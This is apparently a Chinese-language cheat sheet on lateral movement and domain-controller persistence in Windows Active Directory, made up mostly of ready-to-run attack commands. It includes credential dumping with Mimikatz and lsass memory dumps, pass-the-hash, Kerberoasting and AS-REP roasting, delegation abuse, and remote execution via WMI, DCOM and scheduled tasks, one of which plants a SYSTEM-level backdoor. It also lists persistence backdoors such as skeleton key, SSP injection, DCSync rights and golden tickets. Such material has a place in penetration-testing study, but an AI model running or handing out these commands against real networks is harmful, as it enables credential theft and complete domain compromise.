常见横向移动与域控权限维持方法
字数 1759 2025-08-05 12:50:18
横向移动与域控权限维持方法详解
横向移动技术
Pass the Hash (PTH)攻击
基本原理
- 当获取用户的NTLM hash后,可将其作为凭证进行远程登录
- 加密方式区分:
- RC4加密:Pass the Hash
- AES Key加密:Pass the Key
- 影响协议:NTLM和Kerberos协议均受影响
Hash获取方法
-
Meterpreter中的Mimikatz模块
load mimikatz mimikatz_command -f mimikatz的指令 privilege::debug samdump::hashes或直接获取:
msv/kerberos/widgst -
Meterpreter自带模块
hashdump run windows/gather/smart_hashdump # 推荐 -
上传Mimikatz远程调用
- 上传免杀处理的mimikatz.exe到目标机
- 在cmd中执行mimikatz命令
-
使用Procdump获取lsass.dmp
procdump64.exe -accepteula -ma lsass.exe lsass.dmp传回本地后用Mimikatz分析:
sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full -
Cobalt Strike
hashdump mimikatz [mimikatz指令] -
利用SAM表
- 在线读取:
privilege::debug token::elevate lsadump::sam- 离线分析:
reg save HKLM\SYSTEM SYSTEM reg save HKLM\SAM SAM传回本地后用Mimikatz分析
PTH攻击实施
-
MSF中的psexec模块
use exploit/windows/smb/psexec set SMBUser Administrator set SMBPass [NTLM HASH] run -
Mimikatz
sekurlsa::pth /user:administrator /domain:"xxx.com" /ntlm:[hash] -
Cobalt Strike
- 使用psexec模块,选择本地hash
MS14-068漏洞利用
- 影响版本:Server 2000以上
- 补丁:kb3011780
利用方法
-
使用kekeo
kerberos::purge exploit::ms14068 /user:xxx /password:xxx /domain:xxx /ptt -
使用goldenPac
goldenPac.exe domain/user:password@dc
Kerberoast攻击
攻击原理
从TGS-REP中提取加密的服务票证,离线破解SPN账户的明文密码
实施步骤
-
获取SPN
setspn -q */*- 使用GetUserSpns PowerShell脚本
-
获取HASH
- Rubeus.exe:
Rubeus.exe kerberoast - Mimikatz:
kerberos::ask /target:SPN kerberos::list- PowerShell:
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN" - Rubeus.exe:
-
导出HASH
- Mimikatz导出kirbi文件
- Empire框架导出Hashcat格式
-
破解HASH
- Hashcat:
hashcat -m 13110 pass.txt hash.txt - tgsrepcrack.py破解kirbi文件
- Hashcat:
-
使用Kerberoast
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500 kerberos::ptt PENTESTLAB.kirbi
AS_REP Roast攻击
攻击原理
在不开启Kerberos预身份验证的前提下,获得其他用户的AS_RES,破解加密session key的client hash
实施步骤
-
获取HASH
- Rubeus:
Rubeus.exe asreproast - Empire框架+ASREPRoast.ps1
- Rubeus:
-
破解HASH
hashcat -m 18200 hash.txt pass.txt
委派攻击
委派类型
-
非约束性委派
- 服务A获得用户的TGT,可模拟用户访问任意服务
- 启用方式:信任此计算机来委派任何服务
-
约束性委派
- 引入S4U2SELF和S4U2PROXY协议
- 限制委派到指定服务
- 启用方式:指定允许被委派的服务
-
基于资源的约束性委派
- Windows Server 2012+引入
- 自身设置可被哪些账户委派访问
非约束性委派攻击
-
扫描非约束性委派账户
- PowerShell:
Get-NetUser -Unconstrained -Domain domain.com Get-NetComputer -Unconstrained -Domain domain.com -
攻击实施
- 在非约束性委派机上使用Mimikatz收集TGT
privilege::debug sekurlsa::tickets /export kerberos::ptt [票据文件] -
配合Spooler打印机服务
- 使用SpoolSample强制身份验证
- Rubeus监听TGT
约束性委派攻击
-
扫描约束性委派账户
- 使用PowerView查找
-
攻击实施
- 使用kekeo:
tgt::ask /user:xx /domain:xx /password:xx /ticket:test.kirbi tgs::s4u /tgt:file_name /user:administrator /service:cifs/DC kerberos::ptt [票据文件]
基于资源的约束性委派攻击
-
检查域控版本
Get-NetDomainController -
创建机器账户
New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force) -
配置委派
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SID)" Get-DomainComputer WIN7 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -
获取服务票据
- 使用Rubeus或kekeo
其他横向移动技术
CredSSP导出明文密码
-
修改注册表
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1 -
获取密码
- 使用kekeo:
tsssp::server tsssp::client /target:...
tscon横向移动
query user
tscon [ID] /dest:console
COM/DCOM对象利用
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","远程ip")).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")
IPC$利用
net use \\ip\ipc$ "password" /user:username
dir \\ip\c$
at/schtasks计划任务
at \\ip 17:05:00 cmd.exe /c "命令"
schtasks /create /s ip /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
sc服务控制
sc \\ip create [servicename] binpath= "[path]"
sc \\ip start [servicename]
WMI远程执行
wmic /node:ip /user:username /password:password process call create "command"
wmiexec.py domain/user:password@ip
WinRM远程管理
winrs -r:ip -u:domain\user -p:password whoami
域控权限维持方法
Hook PasswordChangeNotify
-
使用工具
- Invoke-ReflectivePEInjection.ps1
- HookPasswordChange.dll
-
注入lsass
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
万能密码
mimikatz# privilege::debug
mimikatz# misc::skeleton
SSP注入
-
临时注入
privilege::debug misc::memssp -
持久化注入
- 将mimilib.dll放入System32
- 修改注册表Security Packages项
SID History后门
sid::patch
sid::add /sam:user /new:administrator
DSRM后门
-
设置DSRM密码
ntdsutil reset password on server null -
修改登录方式
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
委派后门
- 保存约束性委派的ST2或非约束性委派的TGT
- 需要时加载进内存
DCSync
lsadump::dcsync /user:xxx /domain:xxxxx /csv
AdminSDHolder后门
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity user -Rights DCSync
Exchange提权
- 控制Exchange高权限组用户
- 利用其DCSync权限
黄金票据
kerberos::golden /user:administrator /domain:domain.com /sid:SID /krbtgt:hash /ptt